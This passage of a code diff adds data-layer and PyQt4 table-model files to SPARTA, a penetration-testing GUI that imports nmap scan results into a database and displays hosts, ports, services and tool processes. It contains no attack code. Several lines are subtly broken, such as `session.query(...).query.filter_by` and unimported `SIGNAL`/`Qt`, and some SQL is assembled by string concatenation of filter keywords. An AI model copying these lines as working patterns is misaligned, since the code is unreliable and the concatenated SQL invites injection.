FROM nmap_port as port WHERE port.host_id=?') + return self.db.metadata.bind.execute(tmp_query, str(hostID)).fetchall() + + def getHostsAndPortsForServiceFromDB(self, serviceName, filters): + + tmp_query = ('SELECT hosts.ip,ports.port_id,ports.protocol,ports.state,ports.host_id,ports.service_id,services.name,services.product,services.version,services.extrainfo,services.fingerprint FROM nmap_port AS ports ' + + 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + + 'LEFT OUTER JOIN nmap_service AS services ON services.id=ports.service_id ' + + 'WHERE services.name=?') + + if filters.down == False: + tmp_query += ' AND hosts.status!=\'down\'' + if filters.up == False: + tmp_query += ' AND hosts.status!=\'up\'' + if filters.checked == False: + tmp_query += ' AND hosts.checked!=\'True\'' + if filters.portopen == False: + tmp_query += ' AND ports.state!=\'open\' AND ports.state!=\'open|filtered\'' + if filters.portclosed == False: + tmp_query += ' AND ports.state!=\'closed\'' + if filters.portfiltered == False: + tmp_query += ' AND ports.state!=\'filtered\' AND ports.state!=\'open|filtered\'' + if filters.tcp == False: + tmp_query += ' AND ports.protocol!=\'tcp\'' + if filters.udp == False: + tmp_query += ' AND ports.protocol!=\'udp\'' + for word in filters.keywords: + tmp_query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.os_match LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' + + return self.db.metadata.bind.execute(tmp_query, str(serviceName)).fetchall() + + # this function returns all the processes from the DB + # the showProcesses flag is used to ensure we don't display processes in the process table after we have cleared them or when an existing project is opened. + # to speed up the queries we replace the columns we don't need by zeros (the reason we need all the columns is we are using the same model to display process information everywhere) + def getProcessesFromDB(self, filters, showProcesses=''): + if showProcesses == '': # we do not fetch nmap processes because these are not displayed in the host tool tabs / tools + tmp_query = ('SELECT "0", "0", "0", process.name, "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0" FROM process AS process WHERE process.closed="False" AND process.name!="nmap" group by process.name') + result = self.db.metadata.bind.execute(tmp_query).fetchall() + + elif showProcesses == False: # when opening a project, fetch only the processes that have display=false and were not in tabs that were closed by the user + tmp_query = ('SELECT process.id, process.hostip, process.tabtitle, process.outputfile, poutput.output FROM process AS process ' + 'INNER JOIN process_output AS poutput ON process.id = poutput.process_id ' + 'WHERE process.display=? AND process.closed="False" order by process.id desc') + result = self.db.metadata.bind.execute(tmp_query, str(showProcesses)).fetchall() + + else: # show all the processes in the (bottom) process table (no matter their closed value) + tmp_query = ('SELECT * FROM process AS process WHERE process.display=? order by id desc') + result = self.db.metadata.bind.execute(tmp_query, str(showProcesses)).fetchall() + + return result + + def getHostsForTool(self, toolname, closed='False'): + if closed == 'FetchAll': + tmp_query = ('SELECT "0", "0", "0", "0", "0", process.hostip, process.port, process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=?') + else: + tmp_query = ('SELECT process.id, "0", "0", "0", "0", process.hostip, process.port, process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=? and process.closed="False"') + + return self.db.metadata.bind.execute(tmp_query, str(toolname)).fetchall() + + def getProcessStatusForDBId(self, dbid): + tmp_query = ('SELECT process.status FROM process AS process WHERE process.id=?') + p = self.db.metadata.bind.execute(tmp_query, str(dbid)).fetchall() + if p: + return p[0][0] + return -1 + + def getPidForProcess(self, procid): + tmp_query = ('SELECT process.pid FROM process AS process WHERE process.id=?') + p = self.db.metadata.bind.execute(tmp_query, str(procid)).fetchall() + if p: + return p[0][0] + return -1 + + def toggleHostCheckStatus(self, ipaddr): + session = self.db.session() + h = session.query(nmap_host).filter_by(ip=ipaddr).first() + # h = nmap_host.query.filter_by(ip=ipaddr).first() + if h: + if h.checked == 'False': + h.checked = 'True' + else: + h.checked = 'False' + session.add(h) + #session.commit() + self.db.commit() + + # this function adds a new process to the DB + def addProcessToDB(self, proc): + print('Add process') + p_output = process_output() # add row to process_output table (separate table for performance reasons) + p = process(str(proc.pid()), str(proc.name), str(proc.tabtitle), str(proc.hostip), str(proc.port), str(proc.protocol), unicode(proc.command), proc.starttime, "", str(proc.outputfile), 'Waiting', p_output) + print(p) + session = self.db.session() + session.add(p) + #session.commit() + self.db.commit() + proc.id = p.id + return p.id + + def addScreenshotToDB(self, ip, port, filename): + p_output = process_output() # add row to process_output table (separate table for performance reasons) + p = process("-2", "screenshooter", "screenshot ("+str(port)+"/tcp)", str(ip), str(port), "tcp", "", getTimestamp(True), getTimestamp(True), str(filename), "Finished", p_output) + session = self.db.session() + session.add(p) + session.commit() + return p.id + + # is not actually a toggle function. it sets all the non-running processes display flag to false to ensure they aren't shown in the process table + # but they need to be shown as tool tabs. this function is called when a user clears the processes or when a project is being closed. + def toggleProcessDisplayStatus(self, resetAll=False): + session = self.db.session() + proc = session.query(process).filter_by(display='True').all() + #proc = process.query.filter_by(display='True').all() + if resetAll == True: + for p in proc: + if p.status != 'Running': + p.display = 'False' + session.add(p) + else: + for p in proc: + if p.status != 'Running' and p.status != 'Waiting': + p.display = 'False' + session.add(p) + #session.commit() + self.db.commit() + + # this function updates the status of a process if it is killed + def storeProcessKillStatusInDB(self, procId): + session = self.db.session() + proc = session.query(process).filter_by(id=procId).first() + #proc = process.query.filter_by(id=procId).first() + if proc and not proc.status == 'Finished': + proc.status = 'Killed' + proc.endtime = getTimestamp(True) # store end time + session.add(proc) + #session.commit() + self.db.commit() + + def storeProcessCrashStatusInDB(self, procId): + session = self.db.session() + proc = session.query(process).filter_by(id=procId).first() + #proc = process.query.filter_by(id=procId).first() + if proc and not proc.status == 'Killed' and not proc.status == 'Cancelled': + proc.status = 'Crashed' + proc.endtime = getTimestamp(True) # store end time + session.add(proc) + #session.commit() + self.db.commit() + + # this function updates the status of a process if it is killed + def storeProcessCancelStatusInDB(self, procId): + session = self.db.session() + proc = session.query(process).filter_by(id=procId).first() + #proc = process.query.filter_by(id=procId).first() + if proc: + proc.status = 'Cancelled' + proc.endtime = getTimestamp(True) # store end time + session.add(proc) + #session.commit() + self.db.commit() + + def storeProcessRunningStatusInDB(self, procId, pid): + session = self.db.session() + proc = session.query(process).filter_by(id=procId).first() + #proc = process.query.filter_by(id=procId).first() + if proc: + proc.status = 'Running' + proc.pid = str(pid) + session.add(proc) + #session.commit() + self.db.commit() + + # change the status in the db as closed + def storeCloseTabStatusInDB(self, procId): + session = self.db.session() + proc = session.query(process).filter_by(id=procId).first() + #proc = process.query.filter_by(id=int(procId)).first() + if proc: + proc.closed = 'True' + session.add(proc) + #session.commit() + self.db.commit() + + # this function stores a finished process' output to the DB and updates it status + def storeProcessOutputInDB(self, procId, output): + session = self.db.session() + proc = session.query(process).filter_by(id=procId).first() + #proc = process.query.filter_by(id=procId).first() + if proc: + proc_output = session.query(process_output).filter_by(process_id=procId).first() + #proc_output = process_output.query.filter_by(process_id=procId).first() + if proc_output: + proc_output.output=unicode(output) + session.add(proc_output) + + proc.endtime = getTimestamp(True) # store end time + + if proc.status == "Killed" or proc.status == "Cancelled" or proc.status == "Crashed": # if the process has been killed don't change the status to "Finished" + #session.commit() + self.db.commit() # new: this was missing but maybe this is important here to ensure that we save the process output no matter what + return True + else: + proc.status = 'Finished' + session.add(proc) + #session.commit() + self.db.commit() + + def storeNotesInDB(self, hostId, notes): + if len(notes) == 0: + notes = unicode("Notes for {hostId}".format(hostId=hostId)) + print("Storing notes for {hostId}, Notes {notes}".format(hostId=hostId, notes=notes)) + t_note = self.getNoteFromDB(hostId) + if t_note: + t_note.text = unicode(notes) + else: + t_note = note(hostId, unicode(notes)) + session = self.db.session() + session.add(t_note) + #session.commit() + self.db.commit() + + def isKilledProcess(self, procId): + tmp_query = ('SELECT process.status FROM process AS process WHERE process.id=?') + proc = self.db.metadata.bind.execute(tmp_query, str(procId)).fetchall() + if not proc or str(proc[0][0]) == "Killed": + return True + return False + + def isCanceledProcess(self, procId): + tmp_query = ('SELECT process.status FROM process AS process WHERE process.id=?') + proc = self.db.metadata.bind.execute(tmp_query, str(procId)).fetchall() + if not proc or str(proc[0][0]) == "Cancelled": + return True + return False + +class NmapImporter(QtCore.QThread): + tick = QtCore.pyqtSignal(int, name="changed") # New style signal + done = QtCore.pyqtSignal(name="done") # New style signal + schedule = QtCore.pyqtSignal(object, bool, name="schedule") # New style signal + + def __init__(self): + QtCore.QThread.__init__(self, parent=None) + self.output = '' + + def setDB(self, db): + self.db = db + + def setFilename(self, filename): + self.filename = filename + + def setOutput(self, output): + self.output = output + + def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing + try: + session = self.db.session() + print("[+] Parsing nmap xml file: " + self.filename) + starttime = time.time() + + try: + parser = Parser(self.filename) + except: + print('\t[-] Giving up on import due to previous errors.') + print("\t[-] Unexpected error:", sys.exc_info()[0]) + self.done.emit() + return + + self.db.dbsemaphore.acquire() # ensure that while this thread is running, no one else can write to the DB + s = parser.get_session() # nmap session info + if s: + n = nmap_session(self.filename, s.start_time, s.finish_time, s.nmap_version, s.scan_args, s.total_hosts, s.up_hosts, s.down_hosts) + session.add(n) + hostCount = len(parser.all_hosts()) + if hostCount==0: # to fix a division by zero if we ran nmap on one host + hostCount=1 + progress = 100.0 / hostCount + totalprogress = 0 + self.tick.emit(int(totalprogress)) + + for h in parser.all_hosts(): # create all the hosts that need to be created + db_host = session.query(nmap_host).filter_by(ip=h.ip).first() + #db_host = nmap_host.query.filter_by(ip=h.ip).first() + + if not db_host: # if host doesn't exist in DB, create it first + hid = nmap_host('', '', h.ip, h.ipv4, h.ipv6, h.macaddr, h.status, h.hostname, h.vendor, h.uptime, h.lastboot, h.distance, h.state, h.count) + session.add(hid) + t_note = note(h.ip, 'Added by nmap') + session.add(t_note) + + session.commit() + + for h in parser.all_hosts(): # create all OS, service and port objects that need to be created + db_host = session.query(nmap_host).filter_by(ip=h.ip).first() + #db_host = nmap_host.query.filter_by(ip=h.ip).first() # fetch the host + + os_nodes = h.get_OS() # parse and store all the OS nodes + for os in os_nodes: + db_os = session.query(nmap_os).filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() + #db_os = nmap_os.query.filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() + + if not db_os: + t_nmap_os = nmap_os(os.name, os.family, os.generation, os.os_type, os.vendor, os.accuracy, db_host) + session.add(t_nmap_os) + + for p in h.all_ports(): # parse the ports + s = p.get_service() + + if not (s is None): # check if service already exists to avoid adding duplicates + db_service = session.query(nmap_service).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + #db_service = nmap_service.query.filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + + if not db_service: + db_service = nmap_service(s.name, s.product, s.version, s.extrainfo, s.fingerprint) + session.add(db_service) + + else: # else, there is no service info to parse + db_service = None + # fetch the port + db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() + #db_port = nmap_port.query.filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() + + if not db_port: + db_port = nmap_port(p.portId, p.protocol, p.state, db_host.id, db_service) + session.add(db_port) + + session.commit() + + totalprogress += progress + self.tick.emit(int(totalprogress)) + + for h in parser.all_hosts(): # create all script objects that need to be created + + #db_host = nmap_host.query.filter_by(ip=h.ip).first() + db_host = session.query(nmap_host).filter_by(ip=h.ip).first() + + for p in h.all_ports(): + for scr in p.get_scripts(): + + #db_port = nmap_port.query.filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() + db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() + #db_script = nmap_script.query.filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() + db_script = session.query(nmap_script).filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() + + if not db_script: # if this script object doesn't exist, create it + t_nmap_script = nmap_script(scr.scriptId, scr.output, db_port, db_host) + session.add(t_nmap_script) + + for hs in h.get_hostscripts(): + #db_script = nmap_script.query.filter_by(script_id=hs.scriptId).filter_by(host_id=db_host.id).first() + db_script = session.query(nmap_script).query.filter_by(script_id=hs.scriptId).filter_by(host_id=db_host.id).first() + if not db_script: + t_nmap_script = nmap_script(hs.scriptId, hs.output, None, db_host) + session.add(t_nmap_script) + + session.commit() + + for h in parser.all_hosts(): # update everything + + db_host = session.query(nmap_host).filter_by(ip=h.ip).first() + #db_host = nmap_host.query.filter_by(ip=h.ip).first() # get host from DB (if any with the same IP address) + + if db_host.ipv4 == '' and not h.ipv4 == '': + db_host.ipv4 = h.ipv4 + if db_host.ipv6 == '' and not h.ipv6 == '': + db_host.ipv6 = h.ipv6 + if db_host.macaddr == '' and not h.macaddr == '': + db_host.macaddr = h.macaddr + if not h.status == '': + db_host.status = h.status + if db_host.hostname == '' and not h.hostname == '': + db_host.hostname = h.hostname + if db_host.vendor == '' and not h.vendor == '': + db_host.vendor = h.vendor + if db_host.uptime == '' and not h.uptime == '': + db_host.uptime = h.uptime + if db_host.lastboot == '' and not h.lastboot == '': + db_host.lastboot = h.lastboot + if db_host.distance == '' and not h.distance == '': + db_host.distance = h.distance + if db_host.state == '' and not h.state == '': + db_host.state = h.state + if db_host.count == '' and not h.count == '': + db_host.count = h.count + + session.add(db_host) + + tmp_name = '' + tmp_accuracy = '0' # TODO: check if better to convert to int for comparison + + os_nodes = h.get_OS() + for os in os_nodes: + #db_os = nmap_os.query.filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() + db_os = session.query(nmap_os).filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() + + db_os.os_accuracy = os.accuracy # update the accuracy + + if not os.name == '': # get the most accurate OS match/accuracy to store it in the host table for easier access + if os.accuracy > tmp_accuracy: + tmp_name = os.name + tmp_accuracy = os.accuracy + + if os_nodes: # if there was operating system info to parse + + if not tmp_name == '' and not tmp_accuracy == '0': # update the current host with the most accurate OS match + db_host.os_match = tmp_name + db_host.os_accuracy = tmp_accuracy + + session.add(db_host) + + for p in h.all_ports(): + s = p.get_service() + if not (s is None): + # fetch the service for this port + #db_service = nmap_service.query.filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + db_service = session.query(nmap_service).query.filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + else: + db_service = None + # fetch the port + #db_port = nmap_port.query.filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() + db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() + db_port.state = p.state + + if not (db_service is None): # if there is some new service information, update it + db_port.service_id = db_service.id + + session.add(db_port) + + for scr in p.get_scripts(): # store the script results (note that existing script outputs are also kept) + #db_script = nmap_script.query.filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() + db_script = session.query(nmap_script).query.filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() + + if not scr.output == '': + db_script.output = scr.output + + session.add(db_script) + + totalprogress += progress + self.tick.emit(int(totalprogress)) + + session.commit() + self.db.dbsemaphore.release() # we are done with the DB + print('\t[+] Finished in '+ str(time.time()-starttime) + ' seconds.') + self.done.emit() + self.schedule.emit(parser, self.output == '') # call the scheduler (if there is no terminal output it means we imported nmap) + + except Exception as e: + print('\t[-] Something went wrong when parsing the nmap file..') + print("\t[-] Unexpected error:", sys.exc_info()[0]) + print(e) + raise + self.done.emit() diff --git a/app/processmodels.py b/app/processmodels.py new file mode 100644 index 00000000..a6e75c12 --- /dev/null +++ b/app/processmodels.py @@ -0,0 +1,199 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import re +from PyQt4 import QtGui, QtCore +from app.auxiliary import * # for bubble sort + +class ProcessesTableModel(QtCore.QAbstractTableModel): + + def __init__(self, controller, processes = [[]], headers = [], parent = None): + QtCore.QAbstractTableModel.__init__(self, parent) + self.__headers = headers + self.__processes = processes + self.__controller = controller + + def setProcesses(self, processes): + self.__processes = processes + + def getProcesses(self): + return self.__processes + + def rowCount(self, parent): + return len(self.__processes) + + def columnCount(self, parent): + if not len(self.__processes) is 0: + return len(self.__processes[0]) + return 0 + + def headerData(self, section, orientation, role): + if role == QtCore.Qt.DisplayRole: + + if orientation == QtCore.Qt.Horizontal: + + if section < len(self.__headers): + return self.__headers[section] + else: + return "not implemented" + + def data(self, index, role): # this method takes care of how the information is displayed + if role == QtCore.Qt.DisplayRole: # how to display each cell + value = '' + row = index.row() + column = index.column() + + if column == 1: + value = self.__processes[row]['display'] + elif column == 2: + value = self.__processes[row]['pid'] + elif column == 3: + value = self.__processes[row]['name'] + elif column == 4: + if not self.__processes[row]['tabtitle'] == '': + value = self.__processes[row]['tabtitle'] + else: + value = self.__processes[row]['name'] + elif column == 5: + value = self.__processes[row]['hostip'] + elif column == 6: + if not self.__processes[row]['port'] == '' and not self.__processes[row]['protocol'] == '': + value = self.__processes[row]['port'] + '/' + self.__processes[row]['protocol'] + else: + value = self.__processes[row]['port'] + elif column == 7: + value = self.__processes[row]['protocol'] + elif column == 8: + value = self.__processes[row]['command'] + elif column == 9: + value = self.__processes[row]['starttime'] + elif column == 10: + value = self.__processes[row]['endtime'] + elif column == 11: + value = self.__processes[row]['outputfile'] + elif column == 12: + value = self.__processes[row]['output'] + elif column == 13: + value = self.__processes[row]['status'] + elif column == 14: + value = self.__processes[row]['closed'] + return value + + def sort(self, Ncol, order): + self.emit(SIGNAL("layoutAboutToBeChanged()")) + array=[] + + if Ncol == 3: + for i in range(len(self.__processes)): + array.append(self.__processes[i]['name']) + + elif Ncol == 4: + for i in range(len(self.__processes)): + array.append(self.__processes[i]['tabtitle']) + + elif Ncol == 5: + for i in range(len(self.__processes)): + array.append(IP2Int(self.__processes[i]['hostip'])) + + elif Ncol == 6: + for i in range(len(self.__processes)): + if self.__processes[i]['port'] == '': + return + else: + array.append(int(self.__processes[i]['port'])) + + elif Ncol == 9: + for i in range(len(self.__processes)): + array.append(self.__processes[i]['starttime']) + + elif Ncol == 10: + for i in range(len(self.__processes)): + array.append(self.__processes[i]['endtime']) + + else: + for i in range(len(self.__processes)): + array.append(self.__processes[i]['status']) + + sortArrayWithArray(array, self.__processes) # sort the services based on the values in the array + + if order == Qt.AscendingOrder: # reverse if needed + self.__processes.reverse() + + self.__controller.updateProcessesIcon() # to make sure the progress GIF is displayed in the right place + + self.emit(SIGNAL("layoutChanged()")) + + def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + + ### getter functions ### + + def getProcessPidForRow(self, row): + return self.__processes[row]['pid'] + + def getProcessPidForId(self, dbId): + for i in range(len(self.__processes)): + if str(self.__processes[i]['id']) == str(dbId): + return self.__processes[i]['pid'] + + def getProcessStatusForRow(self, row): + return self.__processes[row]['status'] + + def getProcessStatusForPid(self, pid): + for i in range(len(self.__processes)): + if str(self.__processes[i]['pid']) == str(pid): + return self.__processes[i]['status'] + + def getProcessStatusForId(self, dbId): + for i in range(len(self.__processes)): + if str(self.__processes[i]['id']) == str(dbId): + return self.__processes[i]['status'] + + def getProcessIdForRow(self, row): + return self.__processes[row]['id'] + + def getProcessIdForPid(self, pid): + for i in range(len(self.__processes)): + if str(self.__processes[i]['pid']) == str(pid): + return self.__processes[i]['id'] + + def getToolNameForRow(self, row): + return self.__processes[row]['name'] + + def getRowForToolName(self, toolname): + for i in range(len(self.__processes)): + if self.__processes[i]['name'] == toolname: + return i + + def getRowForDBId(self, dbid): # new + for i in range(len(self.__processes)): + if self.__processes[i]['id'] == dbid: + return i + + def getIpForRow(self, row): + return self.__processes[row]['hostip'] + + def getPortForRow(self, row): + return self.__processes[row]['port'] + + def getProtocolForRow(self, row): + return self.__processes[row]['protocol'] + + def getOutputForRow(self, row): + return self.__processes[row]['output'] + + def getOutputfileForRow(self, row): + return self.__processes[row]['outputfile'] + + def getDisplayForRow(self, row): + return self.__processes[row]['display'] diff --git a/app/scriptmodels.py b/app/scriptmodels.py new file mode 100644 index 00000000..e4eb03a8 --- /dev/null +++ b/app/scriptmodels.py @@ -0,0 +1,98 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import re +from PyQt4 import QtGui, QtCore +from app.auxiliary import * # for bubble sort + +class ScriptsTableModel(QtCore.QAbstractTableModel): + + def __init__(self, controller, scripts = [[]], headers = [], parent = None): + QtCore.QAbstractTableModel.__init__(self, parent) + self.__headers = headers + self.__scripts = scripts + self.__controller = controller + + def setScripts(self, scripts): + self.__scripts = scripts + + def getScripts(self): + return self.__scripts + + def rowCount(self, parent): + return len(self.__scripts) + + def columnCount(self, parent): + if not len(self.__scripts) is 0: + return len(self.__scripts[0]) + return 0 + + def headerData(self, section, orientation, role): + if role == QtCore.Qt.DisplayRole: + if orientation == QtCore.Qt.Horizontal: + if section < len(self.__headers): + return self.__headers[section] + else: + return "not implemented" + + def data(self, index, role): # this method takes care of how the information is displayed + + if role == QtCore.Qt.DisplayRole: # how to display each cell + value = '' + row = index.row() + column = index.column() + + if column == 0: + value = self.__scripts[row]['id'] + elif column == 1: + value = self.__scripts[row]['script_id'] + elif column == 2: + if self.__scripts[row]['port_id'] and self.__scripts[row]['protocol'] and not self.__scripts[row]['port_id'] == '' and not self.__scripts[row]['protocol'] == '': + value = self.__scripts[row]['port_id'] + '/' + self.__scripts[row]['protocol'] + else: + value = '' + elif column == 3: + value = self.__scripts[row]['protocol'] + return value + + + def sort(self, Ncol, order): + self.emit(SIGNAL("layoutAboutToBeChanged()")) + array=[] + + if Ncol == 1: + for i in range(len(self.__scripts)): + array.append(self.__scripts[i]['script_id']) + if Ncol == 2: + for i in range(len(self.__scripts)): + array.append(int(self.__scripts[i]['port_id'])) + + sortArrayWithArray(array, self.__scripts) # sort the services based on the values in the array + + if order == Qt.AscendingOrder: # reverse if needed + self.__scripts.reverse() + + self.emit(SIGNAL("layoutChanged()")) + + def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + + ### getter functions ### + + def getScriptDBIdForRow(self, row): + return self.__scripts[row]['id'] + + def getRowForDBId(self, id): + for i in range(len(self.__scripts)): + if self.__scripts[i]['id'] == id: + return i diff --git a/app/servicemodels.py b/app/servicemodels.py new file mode 100644 index 00000000..5c62c831 --- /dev/null +++ b/app/servicemodels.py @@ -0,0 +1,226 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +from PyQt4 import QtGui, QtCore +from app.auxiliary import * # for bubble sort + +class ServicesTableModel(QtCore.QAbstractTableModel): # needs to inherit from QAbstractTableModel + + def __init__(self, services = [[]], headers = [], parent = None): + QtCore.QAbstractTableModel.__init__(self, parent) + self.__headers = headers + self.__services = services + + def setServices(self, services): + self.__services = services + + def rowCount(self, parent): + return len(self.__services) + + def columnCount(self, parent): + if not len(self.__services) is 0: + return len(self.__services[0]) + return 0 + + def headerData(self, section, orientation, role): + if role == QtCore.Qt.DisplayRole: + if orientation == QtCore.Qt.Horizontal: + if section < len(self.__headers): + return self.__headers[section] + else: + return "not implemented" + + def data(self, index, role): # this method takes care of how the information is displayed + + if role == QtCore.Qt.DecorationRole: # to show the open/closed/filtered icons + if index.column() == 0 or index.column() == 2: + tmp_state = self.__services[index.row()]['state'] + + if tmp_state == 'open': + return QtGui.QIcon("./images/open.gif") + + elif tmp_state == 'closed': + return QtGui.QIcon("./images/closed.gif") + + else: + return QtGui.QIcon("./images/filtered.gif") + + if role == QtCore.Qt.DisplayRole: # how to display each cell + value = '' + row = index.row() + column = index.column() + + if column == 0: + value = ' ' + self.__services[row]['ip'] # the spaces are needed for spacing with the icon that precedes the text + elif column == 1: + value = self.__services[row]['port_id'] + elif column == 2: + value = ' ' + self.__services[row]['port_id'] # the spaces are needed for spacing with the icon that precedes the text + elif column == 3: + value = self.__services[row]['protocol'] + elif column == 4: + value = self.__services[row]['state'] + elif column == 5: + value = self.__services[row]['host_id'] + elif column == 6: + value = self.__services[row]['service_id'] + elif column == 7: + value = self.__services[row]['name'] + elif column == 8: + value = self.__services[row]['product'] + elif column == 9: + if not self.__services[row]['product'] == None and not self.__services[row]['product'] == '': + value = str(self.__services[row]['product']) + + if not self.__services[row]['version'] == None and not self.__services[row]['version'] == '': + value = value + ' ' + self.__services[row]['version'] + + if not self.__services[row]['extrainfo'] == None and not self.__services[row]['extrainfo'] == '': + value = value + ' (' + self.__services[row]['extrainfo'] + ')' + elif column == 10: + value = self.__services[row]['extrainfo'] + elif column == 11: + value = self.__services[row]['fingerprint'] + return value + + def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + + def sort(self, Ncol, order): # sort function called when the user clicks on a header + + self.emit(SIGNAL("layoutAboutToBeChanged()")) + array = [] + + if Ncol == 0: # if sorting by ip (and by default) + for i in range(len(self.__services)): + array.append(IP2Int(self.__services[i]['ip'])) + + elif Ncol == 1: # if sorting by port + for i in range(len(self.__services)): + array.append(int(self.__services[i]['port_id'])) + + elif Ncol == 2: # if sorting by port + for i in range(len(self.__services)): + array.append(int(self.__services[i]['port_id'])) + + elif Ncol == 3: # if sorting by protocol + for i in range(len(self.__services)): + array.append(self.__services[i]['protocol']) + + elif Ncol == 4: # if sorting by state + for i in range(len(self.__services)): + array.append(self.__services[i]['state']) + + elif Ncol == 7: # if sorting by name + for i in range(len(self.__services)): + array.append(self.__services[i]['name']) + + elif Ncol == 9: # if sorting by version + for i in range(len(self.__services)): + value = '' + if not self.__services[i]['product'] == None and not self.__services[i]['product'] == '': + value = str(self.__services[i]['product']) + + if not self.__services[i]['version'] == None and not self.__services[i]['version'] == '': + value = value + ' ' + self.__services[i]['version'] + + if not self.__services[i]['extrainfo'] == None and not self.__services[i]['extrainfo'] == '': + value = value + ' (' + self.__services[i]['extrainfo'] + ')' + array.append(value) + + sortArrayWithArray(array, self.__services) # sort the services based on the values in the array + + if order == Qt.AscendingOrder: # reverse if needed + self.__services.reverse() + + self.emit(SIGNAL("layoutChanged()")) # update the UI (built-in signal) + + ### getter functions ### + + def getPortForRow(self, row): + return self.__services[row]['port_id'] + + def getServiceNameForRow(self, row): + return self.__services[row]['name'] + + def getIpForRow(self, row): + return self.__services[row]['ip'] + + def getProtocolForRow(self, row): + return self.__services[row]['protocol'] + + #################################################################### + +class ServiceNamesTableModel(QtCore.QAbstractTableModel): + + def __init__(self, serviceNames = [[]], headers = [], parent = None): + QtCore.QAbstractTableModel.__init__(self, parent) + self.__headers = headers + self.__serviceNames = serviceNames + + def setServices(self, serviceNames): + self.__serviceNames = serviceNames + + def rowCount(self, parent): + return len(self.__serviceNames) + + def columnCount(self, parent): + if not len(self.__serviceNames) is 0: + return len(self.__serviceNames[0]) + return 0 + + def headerData(self, section, orientation, role): + if role == QtCore.Qt.DisplayRole: + if orientation == QtCore.Qt.Horizontal: + if section < len(self.__headers): + return self.__headers[section] + else: + return "not implemented" + + def data(self, index, role): # This method takes care of how the information is displayed + + if role == QtCore.Qt.DisplayRole: # how to display each cell + value = '' + row = index.row() + column = index.column() + if column == 0: + return self.__serviceNames[row]['name'] + + def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + + def sort(self, Ncol, order): # sort function called when the user clicks on a header + + 